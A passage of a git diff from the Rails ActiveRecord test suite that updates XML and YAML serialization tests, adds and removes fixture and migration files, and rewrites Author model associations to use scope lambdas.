index 88751a72f9..7249ae9e4d 100644
--- a/activerecord/test/cases/xml_serialization_test.rb
+++ b/activerecord/test/cases/xml_serialization_test.rb
@@ -74,33 +74,88 @@ end
 
 class DefaultXmlSerializationTest < ActiveRecord::TestCase
   def setup
-    @xml = Contact.new(:name => 'aaron stack', :age => 25, :avatar => 'binarydata', :created_at => Time.utc(2006, 8, 1), :awesome => false, :preferences => { :gem => 'ruby' }).to_xml
+    @contact = Contact.new(
+      :name        => 'aaron stack',
+      :age         => 25,
+      :avatar      => 'binarydata',
+      :created_at  => Time.utc(2006, 8, 1),
+      :awesome     => false,
+      :preferences => { :gem => 'ruby' }
+    )
   end
 
   def test_should_serialize_string
-    assert_match %r{<name>aaron stack</name>},     @xml
+    assert_match %r{<name>aaron stack</name>}, @contact.to_xml
   end
 
   def test_should_serialize_integer
-    assert_match %r{<age type="integer">25</age>}, @xml
+    assert_match %r{<age type="integer">25</age>}, @contact.to_xml
   end
 
   def test_should_serialize_binary
-    assert_match %r{YmluYXJ5ZGF0YQ==\n</avatar>},    @xml
-    assert_match %r{<avatar(.*)(type="binary")},     @xml
-    assert_match %r{<avatar(.*)(encoding="base64")}, @xml
+    xml = @contact.to_xml
+    assert_match %r{YmluYXJ5ZGF0YQ==\n</avatar>},    xml
+    assert_match %r{<avatar(.*)(type="binary")},     xml
+    assert_match %r{<avatar(.*)(encoding="base64")}, xml
   end
 
   def test_should_serialize_datetime
-    assert_match %r{<created-at type=\"datetime\">2006-08-01T00:00:00Z</created-at>}, @xml
+    assert_match %r{<created-at type=\"dateTime\">2006-08-01T00:00:00Z</created-at>}, @contact.to_xml
   end
 
   def test_should_serialize_boolean
-    assert_match %r{<awesome type=\"boolean\">false</awesome>}, @xml
+    assert_match %r{<awesome type=\"boolean\">false</awesome>}, @contact.to_xml
   end
 
   def test_should_serialize_hash
-    assert_match %r{<preferences>\s*<gem>ruby</gem>\s*</preferences>}m, @xml
+    assert_match %r{<preferences>\s*<gem>ruby</gem>\s*</preferences>}m, @contact.to_xml
+  end
+
+  def test_uses_serializable_hash_with_only_option
+    def @contact.serializable_hash(options=nil)
+      super(only: %w(name))
+    end
+
+    xml = @contact.to_xml
+    assert_match %r{<name>aaron stack</name>}, xml
+    assert_no_match %r{age}, xml
+    assert_no_match %r{awesome}, xml
+  end
+
+  def test_uses_serializable_hash_with_except_option
+    def @contact.serializable_hash(options=nil)
+      super(except: %w(age))
+    end
+
+    xml = @contact.to_xml
+    assert_match %r{<name>aaron stack</name>}, xml
+    assert_match %r{<awesome type=\"boolean\">false</awesome>}, xml
+    assert_no_match %r{age}, xml
+  end
+
+  def test_does_not_include_inheritance_column_from_sti
+    @contact = ContactSti.new(@contact.attributes)
+    assert_equal 'ContactSti', @contact.type
+
+    xml = @contact.to_xml
+    assert_match %r{<name>aaron stack</name>}, xml
+    assert_no_match %r{<type}, xml
+    assert_no_match %r{ContactSti}, xml
+  end
+
+  def test_serializable_hash_with_default_except_option_and_excluding_inheritance_column_from_sti
+    @contact = ContactSti.new(@contact.attributes)
+    assert_equal 'ContactSti', @contact.type
+
+    def @contact.serializable_hash(options={})
+      super({ except: %w(age) }.merge!(options))
+    end
+
+    xml = @contact.to_xml
+    assert_match %r{<name>aaron stack</name>}, xml
+    assert_no_match %r{age}, xml
+    assert_no_match %r{<type}, xml
+    assert_no_match %r{ContactSti}, xml
   end
 end
 
@@ -109,7 +164,7 @@ class DefaultXmlSerializationTimezoneTest < ActiveRecord::TestCase
     timezone, Time.zone = Time.zone, "Pacific Time (US & Canada)"
 
     toy = Toy.create(:name => 'Mickey', :updated_at => Time.utc(2006, 8, 1))
-    assert_match %r{<updated-at type=\"datetime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
+    assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
   ensure
     Time.zone = timezone
   end
@@ -118,7 +173,7 @@ class DefaultXmlSerializationTimezoneTest < ActiveRecord::TestCase
     timezone, Time.zone = Time.zone, "Pacific Time (US & Canada)"
 
     toy = Toy.create(:name => 'Minnie', :updated_at => Time.utc(2006, 8, 1)).reload
-    assert_match %r{<updated-at type=\"datetime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
+    assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
   ensure
     Time.zone = timezone
   end
@@ -152,7 +207,7 @@ class NilXmlSerializationTest < ActiveRecord::TestCase
     assert %r{<created-at (.*)></created-at>}.match(@xml)
     attributes = $1
     assert_match %r{nil="true"}, attributes
-    assert_match %r{type="datetime"}, attributes
+    assert_match %r{type="dateTime"}, attributes
   end
 
   def test_should_serialize_boolean
@@ -188,7 +243,7 @@ class DatabaseConnectedXmlSerializationTest < ActiveRecord::TestCase
     assert_equal "integer" , xml.elements["//replies-count"].attributes['type']
 
     assert_equal written_on_in_current_timezone, xml.elements["//written-on"].text
-    assert_equal "datetime" , xml.elements["//written-on"].attributes['type']
+    assert_equal "dateTime" , xml.elements["//written-on"].attributes['type']
 
     assert_equal "david@loudthinking.com", xml.elements["//author-email-address"].text
 
@@ -198,7 +253,7 @@ class DatabaseConnectedXmlSerializationTest < ActiveRecord::TestCase
 
     if current_adapter?(:SybaseAdapter)
       assert_equal last_read_in_current_timezone, xml.elements["//last-read"].text
-      assert_equal "datetime" , xml.elements["//last-read"].attributes['type']
+      assert_equal "dateTime" , xml.elements["//last-read"].attributes['type']
     else
       # Oracle enhanced adapter allows to define Date attributes in model class (see topic.rb)
       assert_equal "2004-04-15", xml.elements["//last-read"].text
@@ -211,7 +266,7 @@ class DatabaseConnectedXmlSerializationTest < ActiveRecord::TestCase
       assert_equal "boolean" , xml.elements["//approved"].attributes['type']
 
       assert_equal bonus_time_in_current_timezone, xml.elements["//bonus-time"].text
-      assert_equal "datetime" , xml.elements["//bonus-time"].attributes['type']
+      assert_equal "dateTime" , xml.elements["//bonus-time"].attributes['type']
     end
   end
 
diff --git a/activerecord/test/cases/yaml_serialization_test.rb b/activerecord/test/cases/yaml_serialization_test.rb
index 0b54c309d1..302913e095 100644
--- a/activerecord/test/cases/yaml_serialization_test.rb
+++ b/activerecord/test/cases/yaml_serialization_test.rb
@@ -1,14 +1,20 @@
-require "cases/helper"
+require 'cases/helper'
 require 'models/topic'
 
 class YamlSerializationTest < ActiveRecord::TestCase
   fixtures :topics
 
   def test_to_yaml_with_time_with_zone_should_not_raise_exception
+    tz = Time.zone
     Time.zone = ActiveSupport::TimeZone["Pacific Time (US & Canada)"]
     ActiveRecord::Base.time_zone_aware_attributes = true
+
     topic = Topic.new(:written_on => DateTime.now)
     assert_nothing_raised { topic.to_yaml }
+
+  ensure
+    Time.zone = tz
+    ActiveRecord::Base.time_zone_aware_attributes = false
   end
 
   def test_roundtrip
@@ -18,6 +24,11 @@ class YamlSerializationTest < ActiveRecord::TestCase
     assert_equal topic, t
   end
 
+  def test_roundtrip_serialized_column
+    topic = Topic.new(:content => {:omg=>:lol})
+    assert_equal({:omg=>:lol}, YAML.load(YAML.dump(topic)).content)
+  end
+
   def test_encode_with_coder
     topic = Topic.first
     coder = {}
@@ -25,22 +36,17 @@ class YamlSerializationTest < ActiveRecord::TestCase
     assert_equal({'attributes' => topic.attributes}, coder)
   end
 
-  begin
-    require 'psych'
-
-    def test_psych_roundtrip
-      topic = Topic.first
-      assert topic
-      t = Psych.load Psych.dump topic
-      assert_equal topic, t
-    end
-
-    def test_psych_roundtrip_new_object
-      topic = Topic.new
-      assert topic
-      t = Psych.load Psych.dump topic
-      assert_equal topic.attributes, t.attributes
-    end
-  rescue LoadError
+  def test_psych_roundtrip
+    topic = Topic.first
+    assert topic
+    t = Psych.load Psych.dump topic
+    assert_equal topic, t
+  end
+
+  def test_psych_roundtrip_new_object
+    topic = Topic.new
+    assert topic
+    t = Psych.load Psych.dump topic
+    assert_equal topic.attributes, t.attributes
   end
 end
diff --git a/activerecord/test/config.example.yml b/activerecord/test/config.example.yml
index f450efd839..479b8c050d 100644
--- a/activerecord/test/config.example.yml
+++ b/activerecord/test/config.example.yml
@@ -1,5 +1,7 @@
 default_connection: <%= defined?(JRUBY_VERSION) ? 'jdbcsqlite3' : 'sqlite3' %>
 
+with_manual_interventions: false
+
 connections:
   jdbcderby:
     arunit:  activerecord_unittest
diff --git a/activerecord/test/fixtures/admin/randomly_named_a9.yml b/activerecord/test/fixtures/admin/randomly_named_a9.yml
new file mode 100644
index 0000000000..bc51c83112
--- /dev/null
+++ b/activerecord/test/fixtures/admin/randomly_named_a9.yml
@@ -0,0 +1,7 @@
+first_instance:

+  some_attribute: AAA

+  another_attribute: 000

+

+second_instance:

+  some_attribute: BBB

+  another_attribute: 999

diff --git a/activerecord/test/fixtures/admin/randomly_named_b0.yml b/activerecord/test/fixtures/admin/randomly_named_b0.yml
new file mode 100644
index 0000000000..bc51c83112
--- /dev/null
+++ b/activerecord/test/fixtures/admin/randomly_named_b0.yml
@@ -0,0 +1,7 @@
+first_instance:

+  some_attribute: AAA

+  another_attribute: 000

+

+second_instance:

+  some_attribute: BBB

+  another_attribute: 999

diff --git a/activerecord/test/fixtures/admin/users.yml b/activerecord/test/fixtures/admin/users.yml
index 6f11f2509e..e2884beda5 100644
--- a/activerecord/test/fixtures/admin/users.yml
+++ b/activerecord/test/fixtures/admin/users.yml
@@ -5,3 +5,6 @@ david:
 jamis:
   name: Jamis
   account: signals37
+  settings:
+    :symbol: symbol
+    string: string
diff --git a/activerecord/test/fixtures/colleges.yml b/activerecord/test/fixtures/colleges.yml
new file mode 100644
index 0000000000..27591e0c2c
--- /dev/null
+++ b/activerecord/test/fixtures/colleges.yml
@@ -0,0 +1,3 @@
+FIU:
+  id: 1
+  name: Florida International University
diff --git a/activerecord/test/fixtures/courses.yml b/activerecord/test/fixtures/courses.yml
index 5ee1916003..de3a4a97e5 100644
--- a/activerecord/test/fixtures/courses.yml
+++ b/activerecord/test/fixtures/courses.yml
@@ -1,6 +1,7 @@
 ruby:
   id: 1
   name: Ruby Development
+  college: FIU
 
 java:
   id: 2
diff --git a/activerecord/test/fixtures/developers.yml b/activerecord/test/fixtures/developers.yml
index 308bf75de2..3656564f63 100644
--- a/activerecord/test/fixtures/developers.yml
+++ b/activerecord/test/fixtures/developers.yml
@@ -8,7 +8,7 @@ jamis:
   name: Jamis
   salary: 150000
 
-<% for digit in 3..10 %>
+<% (3..10).each do |digit| %>
 dev_<%= digit %>:
   id: <%= digit %>
   name: fixture_<%= digit %>
diff --git a/activerecord/test/fixtures/dog_lovers.yml b/activerecord/test/fixtures/dog_lovers.yml
new file mode 100644
index 0000000000..d3e5e4a1aa
--- /dev/null
+++ b/activerecord/test/fixtures/dog_lovers.yml
@@ -0,0 +1,4 @@
+david:
+  id: 1
+  bred_dogs_count: 0
+  trained_dogs_count: 1
diff --git a/activerecord/test/fixtures/dogs.yml b/activerecord/test/fixtures/dogs.yml
new file mode 100644
index 0000000000..16d19be2c5
--- /dev/null
+++ b/activerecord/test/fixtures/dogs.yml
@@ -0,0 +1,3 @@
+sophie:
+  id: 1
+  trainer_id: 1
diff --git a/activerecord/test/fixtures/friendships.yml b/activerecord/test/fixtures/friendships.yml
new file mode 100644
index 0000000000..1ee09175bf
--- /dev/null
+++ b/activerecord/test/fixtures/friendships.yml
@@ -0,0 +1,4 @@
+Connection 1:
+  id: 1
+  person_id: 1
+  friend_id: 2
\ No newline at end of file
diff --git a/activerecord/test/fixtures/other_topics.yml b/activerecord/test/fixtures/other_topics.yml
new file mode 100644
index 0000000000..93f48aedc4
--- /dev/null
+++ b/activerecord/test/fixtures/other_topics.yml
@@ -0,0 +1,42 @@
+first:
+  id: 1
+  title: The First Topic
+  author_name: David
+  author_email_address: david@loudthinking.com
+  written_on: 2003-07-16t15:28:11.2233+01:00
+  last_read: 2004-04-15
+  bonus_time: 2005-01-30t15:28:00.00+01:00
+  content: Have a nice day
+  approved: false
+  replies_count: 1
+
+second:
+  id: 2
+  title: The Second Topic of the day
+  author_name: Mary
+  written_on: 2004-07-15t15:28:00.0099+01:00
+  content: Have a nice day
+  approved: true
+  replies_count: 0
+  parent_id: 1
+  type: Reply
+
+third:
+  id: 3
+  title: The Third Topic of the day
+  author_name: Carl
+  written_on: 2005-07-15t15:28:00.0099+01:00
+  content: I'm a troll
+  approved: true
+  replies_count: 1
+
+fourth:
+  id: 4
+  title: The Fourth Topic of the day
+  author_name: Carl
+  written_on: 2006-07-15t15:28:00.0099+01:00
+  content: Why not?
+  approved: true
+  type: Reply
+  parent_id: 3
+
diff --git a/activerecord/test/fixtures/people.yml b/activerecord/test/fixtures/people.yml
index 123673a2af..e640a38f1f 100644
--- a/activerecord/test/fixtures/people.yml
+++ b/activerecord/test/fixtures/people.yml
@@ -4,15 +4,18 @@ michael:
   primary_contact_id: 2
   number1_fan_id: 3
   gender: M
+  followers_count: 1
 david:
   id: 2
   first_name: David
   primary_contact_id: 3
   number1_fan_id: 1
   gender: M
+  followers_count: 1
 susan:
   id: 3
   first_name: Susan
   primary_contact_id: 2
   number1_fan_id: 1
   gender: F
+  followers_count: 1
diff --git a/activerecord/test/fixtures/peoples_treasures.yml b/activerecord/test/fixtures/peoples_treasures.yml
new file mode 100644
index 0000000000..a72b190d0c
--- /dev/null
+++ b/activerecord/test/fixtures/peoples_treasures.yml
@@ -0,0 +1,3 @@
+michael_diamond:
+  rich_person_id: <%= ActiveRecord::Fixtures.identify(:michael) %>
+  treasure_id: <%= ActiveRecord::Fixtures.identify(:diamond) %>
diff --git a/activerecord/test/fixtures/randomly_named_a9.yml b/activerecord/test/fixtures/randomly_named_a9.yml
new file mode 100644
index 0000000000..bc51c83112
--- /dev/null
+++ b/activerecord/test/fixtures/randomly_named_a9.yml
@@ -0,0 +1,7 @@
+first_instance:

+  some_attribute: AAA

+  another_attribute: 000

+

+second_instance:

+  some_attribute: BBB

+  another_attribute: 999

diff --git a/activerecord/test/fixtures/reserved_words/distinct_select.yml b/activerecord/test/fixtures/reserved_words/distinct_select.yml
new file mode 100644
index 0000000000..d96779ade4
--- /dev/null
+++ b/activerecord/test/fixtures/reserved_words/distinct_select.yml
@@ -0,0 +1,11 @@
+distinct_select1:
+  distinct_id: 1
+  select_id: 1
+
+distinct_select2:
+  distinct_id: 1
+  select_id: 2
+
+distinct_select3:
+  distinct_id: 2
+  select_id: 3
diff --git a/activerecord/test/fixtures/reserved_words/distincts_selects.yml b/activerecord/test/fixtures/reserved_words/distincts_selects.yml
deleted file mode 100644
index 90e8c95fef..0000000000
--- a/activerecord/test/fixtures/reserved_words/distincts_selects.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-distincts_selects1:
-  distinct_id: 1
-  select_id: 1
-
-distincts_selects2:
-  distinct_id: 1
-  select_id: 2
-
-distincts_selects3:
-  distinct_id: 2
-  select_id: 3
diff --git a/activerecord/test/fixtures/teapots.yml b/activerecord/test/fixtures/teapots.yml
new file mode 100644
index 0000000000..ff515beb45
--- /dev/null
+++ b/activerecord/test/fixtures/teapots.yml
@@ -0,0 +1,3 @@
+bob:
+  id: 1
+  name: Bob
diff --git a/activerecord/test/fixtures/topics.yml b/activerecord/test/fixtures/topics.yml
index 93f48aedc4..2b042bd135 100644
--- a/activerecord/test/fixtures/topics.yml
+++ b/activerecord/test/fixtures/topics.yml
@@ -25,7 +25,7 @@ third:
   id: 3
   title: The Third Topic of the day
   author_name: Carl
-  written_on: 2005-07-15t15:28:00.0099+01:00
+  written_on: 2012-08-12t20:24:22.129346+00:00
   content: I'm a troll
   approved: true
   replies_count: 1
diff --git a/activerecord/test/migrations/broken/100_migration_that_raises_exception.rb b/activerecord/test/migrations/broken/100_migration_that_raises_exception.rb
deleted file mode 100644
index ffb224dad9..0000000000
--- a/activerecord/test/migrations/broken/100_migration_that_raises_exception.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-class MigrationThatRaisesException < ActiveRecord::Migration
-  def self.up
-    add_column "people", "last_name", :string
-    raise 'Something broke'
-  end
-
-  def self.down
-    remove_column "people", "last_name"
-  end
-end
diff --git a/activerecord/test/migrations/duplicate/1_people_have_last_names.rb b/activerecord/test/migrations/duplicate/1_people_have_last_names.rb
deleted file mode 100644
index 81af5fef5e..0000000000
--- a/activerecord/test/migrations/duplicate/1_people_have_last_names.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class PeopleHaveLastNames < ActiveRecord::Migration
-  def self.up
-    add_column "people", "last_name", :string
-  end
-
-  def self.down
-    remove_column "people", "last_name"
-  end
-end
\ No newline at end of file
diff --git a/activerecord/test/migrations/duplicate/3_foo.rb b/activerecord/test/migrations/duplicate/3_foo.rb
deleted file mode 100644
index 916fe580fa..0000000000
--- a/activerecord/test/migrations/duplicate/3_foo.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class Foo < ActiveRecord::Migration
-  def self.up
-  end
-
-  def self.down
-  end
-end
\ No newline at end of file
diff --git a/activerecord/test/migrations/duplicate_names/20080507052938_chunky.rb b/activerecord/test/migrations/duplicate_names/20080507052938_chunky.rb
deleted file mode 100644
index 5fe5089e18..0000000000
--- a/activerecord/test/migrations/duplicate_names/20080507052938_chunky.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class Chunky < ActiveRecord::Migration
-  def self.up
-  end
-
-  def self.down
-  end
-end
diff --git a/activerecord/test/migrations/duplicate_names/20080507053028_chunky.rb b/activerecord/test/migrations/duplicate_names/20080507053028_chunky.rb
deleted file mode 100644
index 5fe5089e18..0000000000
--- a/activerecord/test/migrations/duplicate_names/20080507053028_chunky.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class Chunky < ActiveRecord::Migration
-  def self.up
-  end
-
-  def self.down
-  end
-end
diff --git a/activerecord/test/migrations/interleaved/pass_1/3_interleaved_innocent_jointable.rb b/activerecord/test/migrations/interleaved/pass_1/3_interleaved_innocent_jointable.rb
deleted file mode 100644
index bf912fbfc8..0000000000
--- a/activerecord/test/migrations/interleaved/pass_1/3_interleaved_innocent_jointable.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class InterleavedInnocentJointable < ActiveRecord::Migration
-  def self.up
-    create_table("people_reminders", :id => false) do |t|
-      t.column :reminder_id, :integer
-      t.column :person_id, :integer
-    end
-  end
-
-  def self.down
-    drop_table "people_reminders"
-  end
-end
diff --git a/activerecord/test/migrations/interleaved/pass_2/1_interleaved_people_have_last_names.rb b/activerecord/test/migrations/interleaved/pass_2/1_interleaved_people_have_last_names.rb
deleted file mode 100644
index c6c94213a0..0000000000
--- a/activerecord/test/migrations/interleaved/pass_2/1_interleaved_people_have_last_names.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class InterleavedPeopleHaveLastNames < ActiveRecord::Migration
-  def self.up
-    add_column "people", "last_name", :string
-  end
-
-  def self.down
-    remove_column "people", "last_name"
-  end
-end
diff --git a/activerecord/test/migrations/interleaved/pass_2/3_interleaved_innocent_jointable.rb b/activerecord/test/migrations/interleaved/pass_2/3_interleaved_innocent_jointable.rb
deleted file mode 100644
index bf912fbfc8..0000000000
--- a/activerecord/test/migrations/interleaved/pass_2/3_interleaved_innocent_jointable.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class InterleavedInnocentJointable < ActiveRecord::Migration
-  def self.up
-    create_table("people_reminders", :id => false) do |t|
-      t.column :reminder_id, :integer
-      t.column :person_id, :integer
-    end
-  end
-
-  def self.down
-    drop_table "people_reminders"
-  end
-end
diff --git a/activerecord/test/migrations/interleaved/pass_3/1_interleaved_people_have_last_names.rb b/activerecord/test/migrations/interleaved/pass_3/1_interleaved_people_have_last_names.rb
deleted file mode 100644
index c6c94213a0..0000000000
--- a/activerecord/test/migrations/interleaved/pass_3/1_interleaved_people_have_last_names.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class InterleavedPeopleHaveLastNames < ActiveRecord::Migration
-  def self.up
-    add_column "people", "last_name", :string
-  end
-
-  def self.down
-    remove_column "people", "last_name"
-  end
-end
diff --git a/activerecord/test/migrations/interleaved/pass_3/2_interleaved_i_raise_on_down.rb b/activerecord/test/migrations/interleaved/pass_3/2_interleaved_i_raise_on_down.rb
deleted file mode 100644
index 6849995f5e..0000000000
--- a/activerecord/test/migrations/interleaved/pass_3/2_interleaved_i_raise_on_down.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-class InterleavedIRaiseOnDown < ActiveRecord::Migration
-  def self.up
-  end
-
-  def self.down
-    raise
-  end
-end
diff --git a/activerecord/test/migrations/interleaved/pass_3/3_interleaved_innocent_jointable.rb b/activerecord/test/migrations/interleaved/pass_3/3_interleaved_innocent_jointable.rb
deleted file mode 100644
index bf912fbfc8..0000000000
--- a/activerecord/test/migrations/interleaved/pass_3/3_interleaved_innocent_jointable.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class InterleavedInnocentJointable < ActiveRecord::Migration
-  def self.up
-    create_table("people_reminders", :id => false) do |t|
-      t.column :reminder_id, :integer
-      t.column :person_id, :integer
-    end
-  end
-
-  def self.down
-    drop_table "people_reminders"
-  end
-end
diff --git a/activerecord/test/migrations/rename/1_we_need_things.rb b/activerecord/test/migrations/rename/1_we_need_things.rb
new file mode 100644
index 0000000000..cdbe0b1679
--- /dev/null
+++ b/activerecord/test/migrations/rename/1_we_need_things.rb
@@ -0,0 +1,11 @@
+class WeNeedThings < ActiveRecord::Migration
+  def self.up
+    create_table("things") do |t|
+      t.column :content, :text
+    end
+  end
+
+  def self.down
+    drop_table "things"
+  end
+end
\ No newline at end of file
diff --git a/activerecord/test/migrations/rename/2_rename_things.rb b/activerecord/test/migrations/rename/2_rename_things.rb
new file mode 100644
index 0000000000..d441b71fc9
--- /dev/null
+++ b/activerecord/test/migrations/rename/2_rename_things.rb
@@ -0,0 +1,9 @@
+class RenameThings < ActiveRecord::Migration
+  def self.up
+    rename_table "things", "awesome_things"
+  end
+
+  def self.down
+    rename_table "awesome_things", "things"
+  end
+end
\ No newline at end of file
diff --git a/activerecord/test/migrations/to_copy_with_name_collision/1_people_have_hobbies.rb b/activerecord/test/migrations/to_copy_with_name_collision/1_people_have_hobbies.rb
new file mode 100644
index 0000000000..e438cf5999
--- /dev/null
+++ b/activerecord/test/migrations/to_copy_with_name_collision/1_people_have_hobbies.rb
@@ -0,0 +1,9 @@
+class PeopleHaveLastNames < ActiveRecord::Migration
+  def self.up
+    add_column "people", "hobbies", :string
+  end
+
+  def self.down
+    remove_column "people", "hobbies"
+  end
+end
diff --git a/activerecord/test/migrations/valid_with_subdirectories/1_valid_people_have_last_names.rb b/activerecord/test/migrations/valid_with_subdirectories/1_valid_people_have_last_names.rb
new file mode 100644
index 0000000000..06cb911117
--- /dev/null
+++ b/activerecord/test/migrations/valid_with_subdirectories/1_valid_people_have_last_names.rb
@@ -0,0 +1,9 @@
+class ValidPeopleHaveLastNames < ActiveRecord::Migration
+  def self.up
+    add_column "people", "last_name", :string
+  end
+
+  def self.down
+    remove_column "people", "last_name"
+  end
+end
diff --git a/activerecord/test/migrations/duplicate/2_we_need_reminders.rb b/activerecord/test/migrations/valid_with_subdirectories/sub/2_we_need_reminders.rb
index d5e71ce8ef..d5e71ce8ef 100644
--- a/activerecord/test/migrations/duplicate/2_we_need_reminders.rb
+++ b/activerecord/test/migrations/valid_with_subdirectories/sub/2_we_need_reminders.rb
diff --git a/activerecord/test/migrations/duplicate/3_innocent_jointable.rb b/activerecord/test/migrations/valid_with_subdirectories/sub1/3_innocent_jointable.rb
index 21c9ca5328..21c9ca5328 100644
--- a/activerecord/test/migrations/duplicate/3_innocent_jointable.rb
+++ b/activerecord/test/migrations/valid_with_subdirectories/sub1/3_innocent_jointable.rb
diff --git a/activerecord/test/models/admin/randomly_named_c1.rb b/activerecord/test/models/admin/randomly_named_c1.rb
new file mode 100644
index 0000000000..2f81d5b831
--- /dev/null
+++ b/activerecord/test/models/admin/randomly_named_c1.rb
@@ -0,0 +1,3 @@
+class Admin::ClassNameThatDoesNotFollowCONVENTIONS < ActiveRecord::Base

+  self.table_name = :randomly_named_table

+end

diff --git a/activerecord/test/models/admin/user.rb b/activerecord/test/models/admin/user.rb
index c12c88e195..ad30039304 100644
--- a/activerecord/test/models/admin/user.rb
+++ b/activerecord/test/models/admin/user.rb
@@ -1,4 +1,7 @@
 class Admin::User < ActiveRecord::Base
   belongs_to :account
   store :settings, :accessors => [ :color, :homepage ]
+  store :preferences, :accessors => [ :remember_login ]
+  store :json_data, :accessors => [ :height, :weight ], :coder => JSON
+  store :json_data_empty, :accessors => [ :is_a_good_guy ], :coder => JSON
 end
diff --git a/activerecord/test/models/arunit2_model.rb b/activerecord/test/models/arunit2_model.rb
new file mode 100644
index 0000000000..04b8b15d3d
--- /dev/null
+++ b/activerecord/test/models/arunit2_model.rb
@@ -0,0 +1,3 @@
+class ARUnit2Model < ActiveRecord::Base
+  self.abstract_class = true
+end
diff --git a/activerecord/test/models/author.rb b/activerecord/test/models/author.rb
index 23db5650d4..77f4a2ec87 100644
--- a/activerecord/test/models/author.rb
+++ b/activerecord/test/models/author.rb
@@ -1,12 +1,12 @@
 class Author < ActiveRecord::Base
   has_many :posts
   has_many :very_special_comments, :through => :posts
-  has_many :posts_with_comments, :include => :comments, :class_name => "Post"
-  has_many :popular_grouped_posts, :include => :comments, :class_name => "Post", :group => "type", :having => "SUM(comments_count) > 1", :select => "type"
-  has_many :posts_with_comments_sorted_by_comment_id, :include => :comments, :class_name => "Post", :order => 'comments.id'
-  has_many :posts_sorted_by_id_limited, :class_name => "Post", :order => 'posts.id', :limit => 1
-  has_many :posts_with_categories, :include => :categories, :class_name => "Post"
-  has_many :posts_with_comments_and_categories, :include => [ :comments, :categories ], :order => "posts.id", :class_name => "Post"
+  has_many :posts_with_comments, -> { includes(:comments) }, :class_name => "Post"
+  has_many :popular_grouped_posts, -> { includes(:comments).group("type").having("SUM(comments_count) > 1").select("type") }, :class_name => "Post"
+  has_many :posts_with_comments_sorted_by_comment_id, -> { includes(:comments).order('comments.id') }, :class_name => "Post"
+  has_many :posts_sorted_by_id_limited, -> { order('posts.id').limit(1) }, :class_name => "Post"
+  has_many :posts_with_categories, -> { includes(:categories) }, :class_name => "Post"
+  has_many :posts_with_comments_and_categories, -> { includes(:comments, :categories).order("posts.id") }, :class_name => "Post"
   has_many :posts_containing_the_letter_a, :class_name => "Post"
   has_many :posts_with_extension, :class_name => "Post" do #, :extend => ProxyTestExtension
     def testing_proxy_owner
@@ -19,28 +19,28 @@ class Author < ActiveRecord::Base
       proxy_target
     end
   end
-  has_one  :post_about_thinking, :class_name => 'Post', :conditions => "posts.title like '%thinking%'"
-  has_one  :post_about_thinking_with_last_comment, :class_name => 'Post', :conditions => "posts.title like '%thinking%'", :include => :last_comment
+  has_one  :post_about_thinking, -> { where("posts.title like '%thinking%'") }, :class_name => 'Post'
+  has_one  :post_about_thinking_with_last_comment, -> { where("posts.title like '%thinking%'").includes(:last_comment) }, :class_name => 'Post'
   has_many :comments, :through => :posts
   has_many :comments_containing_the_letter_e, :through => :posts, :source => :comments
-  has_many :comments_with_order_and_conditions, :through => :posts, :source => :comments, :order => 'comments.body', :conditions => "comments.body like 'Thank%'"
-  has_many :comments_with_include, :through => :posts, :source => :comments, :include => :post
+  has_many :comments_with_order_and_conditions, -> { order('comments.body').where("comments.body like 'Thank%'") }, :through => :posts, :source => :comments
+  has_many :comments_with_include, -> { includes(:post) }, :through => :posts, :source => :comments
 
   has_many :first_posts
-  has_many :comments_on_first_posts, :through => :first_posts, :source => :comments, :order => 'posts.id desc, comments.id asc'
+  has_many :comments_on_first_posts, -> { order('posts.id desc, comments.id asc') }, :through => :first_posts, :source => :comments
 
   has_one :first_post
-  has_one :comment_on_first_post,  :through => :first_post, :source => :comments, :order => 'posts.id desc, comments.id asc'
+  has_one :comment_on_first_post, -> { order('posts.id desc, comments.id asc') }, :through => :first_post, :source => :comments
 
-  has_many :thinking_posts, :class_name => 'Post', :conditions => { :title => 'So I was thinking' }, :dependent => :delete_all
-  has_many :welcome_posts,  :class_name => 'Post', :conditions => { :title => 'Welcome to the weblog' }
+  has_many :thinking_posts, -> { where(:title => 'So I was thinking') }, :dependent => :delete_all, :class_name => 'Post'
+  has_many :welcome_posts, -> { where(:title => 'Welcome to the weblog') }, :class_name => 'Post'
 
-  has_many :comments_desc, :through => :posts, :source => :comments, :order => 'comments.id DESC'
-  has_many :limited_comments, :through => :posts, :source => :comments, :limit => 1
+  has_many :comments_desc, -> { order('comments.id DESC') }, :through => :posts, :source => :comments
+  has_many :limited_comments, -> { limit(1) }, :through => :posts, :source => :comments
   has_many :funky_comments, :through => :posts, :source => :comments
-  has_many :ordered_uniq_comments, :through => :posts, :source => :comments, :uniq => true, :order => 'comments.id'
-  has_many :ordered_uniq_comments_desc, :through => :posts, :source => :comments, :uniq => true, :order => 'comments.id DESC'
-  has_many :readonly_comments, :through => :posts, :source => :comments, :readonly => true
+  has_many :ordered_uniq_comments, -> { uniq.order('comments.id') }, :through => :posts, :source => :comments
+  has_many :ordered_uniq_comments_desc, -> { uniq.order('comments.id DESC') }, :through => :posts, :source => :comments
+  has_many :readonly_comments, -> { readonly }, :through => :posts, :source => :comments
 
   has_many :special_posts
   has_many :special_post_comments, :through => :special_posts, :source => :comments
@@ -48,16 +48,15 @@ class Author < ActiveRecord::Base
   has_many :sti_posts, :class_name => 'StiPost'
   has_many :sti_post_comments, :through => :sti_posts, :source => :comments
 
-  has_many :special_nonexistant_posts, :class_name => "SpecialPost", :conditions => "posts.body = 'nonexistant'"
-  has_many :special_nonexistant_post_comments, :through => :special_nonexistant_posts, :source => :comments, :conditions => "comments.post_id = 0"
